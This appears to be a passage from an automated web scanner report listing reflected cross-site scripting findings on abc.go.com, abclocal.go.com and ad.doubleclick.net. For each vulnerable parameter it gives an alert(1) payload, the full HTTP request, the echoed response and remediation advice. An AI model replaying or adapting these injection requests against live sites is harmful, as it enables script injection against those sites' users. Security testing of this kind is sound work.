<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl=&brandid=001 --> ...[SNIP]...
The value of the partner request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbab2"-alert(1)-"8115564337a was submitted in the partner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:30 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:30 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:30 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" }); </script> ...[SNIP]...
The value of the pc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cafe5"-alert(1)-"bce35d84227 was submitted in the pc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:36 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:36 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc02 Cache-Expires: Wed, 23 Feb 2011 23:12:36 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" }); </script> ...[SNIP]...
The value of the pc request parameter is copied into an HTML comment. The payload c68cf--><script>alert(1)</script>95f6c7f6244 was submitted in the pc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl= HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:37 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:37 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc03 Cache-Expires: Wed, 23 Feb 2011 23:12:37 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl=&brandid=001 --> ...[SNIP]...
The value of the pl request parameter is copied into an HTML comment. The payload ab41d--><script>alert(1)</script>4b90f52be3c was submitted in the pl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:42 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:42 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc04 X-Powered-By: ASP.NET Cache-Expires: Wed, 23 Feb 2011 23:12:42 GMT Content-Length: 16408 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c&brandid=001 --> ...[SNIP]...
The value of the pl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38ed3"-alert(1)-"16bb995b9fc was submitted in the pl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:11:41 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Wed, 23 Feb 2011 23:11:41 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc03 Cache-Expires: Wed, 23 Feb 2011 23:12:40 GMT Content-Length: 16360 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Watch Full Episodes ...[SNIP]... fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc&brandid=001","cookieName" : "abc_vp_breadcrumb" }); </script> ...[SNIP]...
The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc0d5'%3balert(1)//06cec9ccd55 was submitted in the section parameter. This input was echoed as bc0d5';alert(1)//06cec9ccd55 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wls/story?section=news/politicsbc0d5'%3balert(1)//06cec9ccd55&id=7977364&rss=rss-espnChicago-wls-article-7977364 HTTP/1.1 Host: abclocal.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=120 Date: Sat, 26 Feb 2011 01:50:29 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Sat, 26 Feb 2011 01:50:29 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: abc06 X-Powered-By: ASP.NET Set-Cookie: SWID=A0C858BF-04E3-46C4-8DF4-ACF76E3CCD6D; path=/; expires=Sat, 26-Feb-2031 01:50:29 GMT; domain=.go.com; Cache-Expires: Sat, 26 Feb 2011 01:53:29 GMT Content-Length: 75131 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="e ...[SNIP]... <a href="http://abclocal.go.com/wls/html5/video?id=7978923&pid=7977364§ion=news/politicsbc0d5';alert(1)//06cec9ccd55"> ...[SNIP]...
The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eca1a"-alert(1)-"9f45c7913ea was submitted in the adurl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913ea HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 8444 Cache-Control: no-cache Pragma: no-cache Date: Wed, 23 Feb 2011 21:38:14 GMT Expires: Wed, 23 Feb 2011 21:38:14 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913eahttp://www22.verizon.com/Residential/HighSpeedInternet/Plans/Plans.htm?withphone=N&CMP=BAC-MXT_D_P2_CS_Z_Q_N_Z330"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; var bg = "" ...[SNIP]...
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be53b"-alert(1)-"3b9fd4c6033 was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 23 Feb 2011 21:37:43 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9041
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... d3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt ...[SNIP]...
The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5cb52"-alert(1)-"1e7e78e8863 was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 23 Feb 2011 21:38:12 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9041
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 0vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http%3a%2f%2fwww22.verizon.com/resid ...[SNIP]...
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e702a"-alert(1)-"d6cda420b15 was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 23 Feb 2011 21:37:53 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9041
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... b21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___35 ...[SNIP]...
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d87dc"-alert(1)-"7e5e79f9c31 was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 23 Feb 2011 21:38:02 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9078
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... YaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http% ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99793"-alert(1)-"db897f05fa3 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
